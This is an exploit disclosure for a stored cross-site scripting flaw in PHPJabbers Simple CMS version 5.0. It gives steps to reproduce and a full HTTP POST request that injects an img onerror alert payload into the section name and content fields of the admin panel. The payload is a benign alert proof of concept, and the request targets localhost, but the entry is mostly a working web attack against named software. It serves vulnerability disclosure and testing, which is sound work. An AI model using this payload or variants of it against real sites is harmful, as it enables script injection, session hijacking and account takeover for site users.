PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS)

# Exploit Title: PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS)
# Date: 2023-04-29
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.phpjabbers.com/faq.php
# Software Link: https://www.phpjabbers.com/simple-cms/
# Version: 5.0
# Tested on: Kali Linux

### Steps to Reproduce ###

- Please login from this address:
https://localhost/simplecms/index.php?controller=pjAdmin&action=pjActionLogin
- Click on the "Add Section" button.
- Then enter the payload ("><img src=x onerror=alert("Stored")>) in the
"Section" box and save it.
- Boom! An alert message saying "Stored" will appear in front of you.

### PoC Request ###

POST /simplecms/index.php?controller=pjAdminSections&action=pjActionCreate
HTTP/1.1
Host: localhost
Cookie: pj_sid=PJ1.0.6199026527.1682777172;
pj_so=PJ1.0.6771252593.1682777172; pjd_1682777220_628=1;
PHPSESSID=bmannt0kqjm2m0vmb5vj1dbu57; simpleCMS=ejrnh4bmb0ems1j4e4r9fq4eq1;
pjd=7l9bb4ubmknrdbns46j7g5cqn7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
Origin: https://localhost
Referer:
https://localhost/simplecms/index.php?controller=pjAdminSections&action=pjActionCreate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

section_create=1&i18n%5B1%5D%5Bsection_name%5D=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%22Stored%22%29%3E&i18n%5B2%5D%5Bsection_name%5D=&i18n%5B3%5D%5Bsection_name%5D=&i18n%5B1%5D%5Bsection_content%5D=%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3Dx+onerror%3Dalert%28%22Stored%22%29%26gt%3B%3C%2Fp%3E&i18n%5B2%5D%5Bsection_content%5D=&i18n%5B3%5D%5Bsection_content%5D=&url=&status=T